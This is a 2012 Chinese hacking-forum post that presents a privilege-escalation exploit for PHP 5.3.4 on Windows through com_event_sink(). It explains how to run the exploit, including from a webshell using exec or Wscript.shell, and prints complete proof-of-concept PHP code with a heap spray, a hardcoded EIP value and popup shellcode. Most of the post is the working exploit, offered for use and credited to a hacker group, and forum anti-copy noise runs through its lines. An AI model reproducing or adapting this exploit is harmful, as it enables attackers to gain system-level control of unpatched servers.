找回密码
 立即注册
查看: 3198|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中) z( P+ ]9 c2 Y' J' b+ R  B
7 K$ J5 P( k. u0 |/ ]6 v$ ]$ A
测试方法如下:cmd /c x:\php\php.exe x:\test.php# q; N0 y2 o5 B7 u. y. }  B
5 R( a, c$ u; {) `7 b
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php$ R  a; j- H9 G7 Q
这里是两个测试的截图:
( X4 o! U; G- R
1 @+ n1 h3 V6 i3 e) S4 Q3 f
* s8 x6 p$ D* _5 K: ?& S' S( j$ B* a4 F& y( D8 y3 f
& Q6 r$ I6 s- I  B& ?( S! _6 L

* ]+ Q. ], a7 |9 ~- C7 v) R成功利用此漏洞的攻击者将获得系统的最高权限
0 }; t  @' O, G5 Q7 ]/ C- @+ A5 l; E& N, c: Q* F
, h" U' z$ f" A% ?- p. T  s- W# r
7 g7 w- i7 _  l% H* v

; B% k, W$ g4 [; h: C0 E5 D9 I* G( F0 E8 Q
关于漏洞分析稍后附上。一下是PoC代码:
. `1 ]8 i9 v$ Y/ F: H0 o! G$ `
. d9 ~" |0 r5 v5 J( c# x; W<?php8 @0 y" M% [+ S: J5 x% R1 M
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
- Q0 [& r/ C6 O( a//$eip ="\x44\x43\x42\x41";( b3 z- \  R. {5 S/ Y. G; l! u
$eip= "\x4b\xe8\x57\x78";( {- C6 A7 l% ^! D: c: h! z
$eax ="\x80\x01\x8d\x04";
- ~, T& X2 w" A" J8 ]$deodrant="";
7 M' q8 v* `9 e0 U  `$axespray = str_repeat($eip.$eax,0x80);% S& A" ]; k' F" r4 d  J
//048d0190
' I4 N2 f% r, becho strlen($axespray);
# V1 X7 V1 M) `  B. a  hecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
" {- @: R  m$ [1 F+ [" Kecho "Silic Group Hacker Army - BlackBap.Org";
5 c& j- D7 O- H( b//19200 ==4B32 4b00
) Z% e& _* ~9 h* x: Ffor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}& Q6 M9 l8 l. J& v% A0 F+ _1 j# r
$terminate = "T";+ v9 T1 r: [4 _  B: Q) j
$u[] =$deodrant;
2 C# n- \2 K  l9 y0 y! W- S$r[] =$deodrant.$terminate;
# X  E; o* k  H; D: B4 d$a[] =$deodrant.$terminate;
& T2 `: R& `& ?  C) B7 q+ _& K$s[] =$deodrant.$terminate;
5 H/ f) r, h, u6 l$ R//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
' G& }% ~% B% c$ w$vVar = new VARIANT(0x048d0000+180);& H& E5 c! D0 T1 X+ D3 h# l
//弹窗代码(Shellcode)8 [% O; Q8 c, i/ z
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";" h! W- u: `+ D3 j* `
$var2 = new VARIANT(0x41414242);. x# G' ]2 p4 }6 ^1 w3 @
com_event_sink($vVar,$var2,$buffer);4 z$ S3 `$ z/ x
?>
- X0 R/ m! p5 I0 l

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表